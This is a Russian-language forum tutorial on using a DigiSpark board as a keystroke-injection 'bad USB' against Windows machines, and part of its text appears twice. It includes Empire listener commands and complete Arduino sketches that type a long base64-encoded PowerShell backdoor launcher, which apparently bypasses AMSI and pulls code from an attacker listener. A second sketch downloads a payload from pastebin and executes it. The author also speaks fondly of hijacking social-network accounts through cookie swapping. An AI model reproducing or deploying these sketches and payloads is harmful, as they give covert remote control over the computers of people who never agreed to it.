Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark.
Стоит эта приблуда 1$ во всем известном Китайском интернет-магазине.
Что-ж, какова цена - таковы и возможности. За такую скромную сумму мы имеем:
Что же по поводу bad usb? Digi позволяет эмулировать клавиатуру, что даёт нам возможность создать powershell-backdoor. Приступим.
Генерация пейлоада
Генерировать буду с помощью Empire.
Что бы посмотреть все возможные варианты - после uselistener 2 раза нажмите Tab
Устанавливаем имя, порт, и запускаем листенер.
Получаем наш powershell-payload
launcher powershell Digi
Пишем код
Вся структура кода выглядит так:
Основа будет выполняться один раз. При тестировании возникла проблема переключения раскладки, но опытным путём выяснилось, что на русифицированной windows 7 все новые окна по умолчанию открываются с русской раскладкой. В таком случае код будет выглядеть так:
Компилируем ии... Получаем ошибку. Памяти на столько мало, что не хватает даже на powershell-backdoor!
Можно попробовать вставить payload, сгенерированный в msfvenom с функцией --smallest, либо найти нагрузку меньше, но это вы можете сделать сами, я же покажу второй вариант.
Обходной путь
В powershell версии 3.0 и выше (начиная с windows 8) появилась функция Invoke-WebRequest, которая позволяет парсить сайты. Воспользуемся ей.
Для этого заливаем свой пейлоад на pastebin:
Вместо прямого использования нагрузки спарсим его:
Теперь код занимает только 54% памяти.
Вонзив этот корявый клинок правосудия в usb-разъёмжертвы вашего компьютера, выполнится ваш код на C. Не плохой потенциал, но вряд ли 6 кб памяти дадут вам его реализовать...
Выводы
Хорошая игрушка за свои деньги, не более. Будь там хотя бы 16 кб памяти - можно было бы использовать нормальные бекдор без костылей, которые работают только на windows 8 и выше.
Можно, конечно, попробовать скачивать нужные для выполнения программы с помощью чистого C++, но я не силён в нём. Либо просто воровать кукисы, но не то время нынче...
Эх, было время, когда можно было взломать аккаунт вк или однокласников обычной подменой кукисов...
Стоит эта приблуда 1$ во всем известном Китайском интернет-магазине.
Что-ж, какова цена - таковы и возможности. За такую скромную сумму мы имеем:
- 8 кб памяти для вашего кода, 2 из которых съедает загрузчик.
- Небольшую документацию:
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Что же по поводу bad usb? Digi позволяет эмулировать клавиатуру, что даёт нам возможность создать powershell-backdoor. Приступим.
Генерация пейлоада
Генерировать буду с помощью Empire.
Код:
sudo ./empire
listeners
uselistener http
Устанавливаем имя, порт, и запускаем листенер.
Получаем наш powershell-payload
launcher powershell Digi
Пишем код
Вся структура кода выглядит так:
Код:
#include "DigiKeyboard.h" // Импортируем модуль клавиатуры
void setup()
{
// Одноразовое выполнение кода
}
void loop()
{
// Циклическое выполнение кода
}
Код:
#include "DigiKeyboard.h"
#define KEY_ALT 226 // Кнопка left Alt
#define KEY_SHIFT A0 // Кнопка left Shift
void setup()
{
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(2000); // Время простоя в миллисекундах
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Открываем поиск
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английску
DigiKeyboard.delay(2000);
DigiKeyboard.println("cmd.exe");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английский
DigiKeyboard.delay(2000);
DigiKeyboard.println("powershell -noP -sta -w 1 -enc JABHAHIAbwB1AFAAUABvAGwAaQBjAFkAUwBFAHQAdABpAG4ARwBTACAAPQAgAFsAcgBFAGYAXQAuAEEAUwBzAGUAbQBCAEwAeQAuAEcAZQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAgACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBHAEUAdABWAEEAbAB1AEUAKAAkAG4AVQBMAEwAKQA7ACQARwBSAG8AVQBwAFAAbwBsAEkAYwB5AFMARQBUAHQASQBuAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AIAA9ACAAMAA7ACQARwByAG8AVQBwAFAAbwBsAGkAQwB5AFMARQBUAHQAaQBuAEcAcwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQAgAD0AIAAwADsAWwBSAGUARgBdAC4AQQBTAHMAZQBNAGIATABZAC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAHUAZQAoACQATgB1AEwATAAsACQAVABSAHUAZQApAH0AOwBbAFMAWQBTAFQARQBtAC4ATgBlAFQALgBTAEUAUgBWAEkAYwBFAFAAbwBpAE4AVABNAGEAbgBhAGcAZQBSAF0AOgA6AEUAeABwAEUAQwBUADEAMAAwAEMATwBOAHQASQBOAHUARQA9ADAAOwAkAHcAQwA9AE4AZQB3AC0ATwBiAGoAZQBDAFQAIABTAHkAUwBUAEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAEkARQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AEMALgBIAEUAQQBEAEUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAFIATwB4AFkAPQBbAFMAWQBTAHQARQBtAC4ATgBlAHQALgBXAGUAQgBSAGUAUQB1AEUAUwBUAF0AOgA6AEQAZQBGAGEAVQBMAHQAVwBlAGIAUABSAG8AeABZADsAJAB3AGMALgBQAFIATwBYAHkALgBDAFIARQBEAEUATgB0AEkAYQBMAHMAIAA9ACAAWwBTAHkAUwBUAEUATQAuAE4AZQB0AC4AQwByAGUARABlAG4AVABpAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQB1AEwAdABOAGUAVAB3AE8AUgBrAEMAcgBlAGQARQBOAHQAaQBhAEwAcwA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAGUAeABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcANwBiADIANABhAGYAYwA4AGIAYwA4ADAAZQA1ADQAOABkADYANgBjADQAZQA3AGYAZgA3ADIAMQA3ADEAYwA1ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAEEARABlAFIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABLAEYARQBIAEkAYwBSAEgAcgBvAGkAdAB1AG8AWQB6ADgARgBaAG0AOQA1AEwATwBkADAAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAwADIAOgAxADMAMwA3ACcAOwAkAHQAPQAnAC8AbgBlAHcAcwAuAHAAaABwACcAOwAkAGQAYQB0AEEAPQAkAFcAQwAuAEQAbwBXAE4ATABvAGEARABEAEEAVABhACgAJABTAEUAcgArACQAdAApADsAJABJAHYAPQAkAEQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAYQB0AGEAWwA0AC4ALgAkAEQAYQBUAGEALgBsAGUATgBHAFQASABdADsALQBqAE8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA=="); // Полезная нагрузка
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop()
{
digitalWrite(0, HIGH);
digitalWrite(1, HIGH); // Мигалка светодиода
delay(100); // по окончанию
digitalWrite(0, HIGH); // скрипта
digitalWrite(1, HIGH);
delay(100);
}
Можно попробовать вставить payload, сгенерированный в msfvenom с функцией --smallest, либо найти нагрузку меньше, но это вы можете сделать сами, я же покажу второй вариант.
Обходной путь
В powershell версии 3.0 и выше (начиная с windows 8) появилась функция Invoke-WebRequest, которая позволяет парсить сайты. Воспользуемся ей.
Для этого заливаем свой пейлоад на pastebin:
Вместо прямого использования нагрузки спарсим его:
Код:
#include "DigiKeyboard.h"
#define KEY_ALT 226 // Кнопка left Alt
#define KEY_SHIFT A0 // Кнопка left Shift
void setup()
{
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(2000); // Время простоя в миллисекундах
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
DigiKeyboard.delay(2000);
DigiKeyboard.println("cmd.exe");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
DigiKeyboard.delay(2000);
DigiKeyboard.println("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.println("$url = 'pastebin.com/tA76vf4A'"); // Ссылка на пейлоад на пастбин
delay(50);
DigiKeyboard.println("$result = Invoke-WebRequest -Uri $url");
delay(50);
DigiKeyboard.println("powershell.exe -nop -e $result.content");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop()
{
digitalWrite(0, HIGH);
digitalWrite(1, HIGH); // Мигалка светодиода
delay(100); // по окончанию
digitalWrite(0, HIGH); // скрипта
digitalWrite(1, HIGH);
delay(100);
}
Вонзив этот корявый клинок правосудия в usb-разъём
Выводы
Хорошая игрушка за свои деньги, не более. Будь там хотя бы 16 кб памяти - можно было бы использовать нормальные бекдор без костылей, которые работают только на windows 8 и выше.
Можно, конечно, попробовать скачивать нужные для выполнения программы с помощью чистого C++, но я не силён в нём. Либо просто воровать кукисы, но не то время нынче...
Эх, было время, когда можно было взломать аккаунт вк или однокласников обычной подменой кукисов...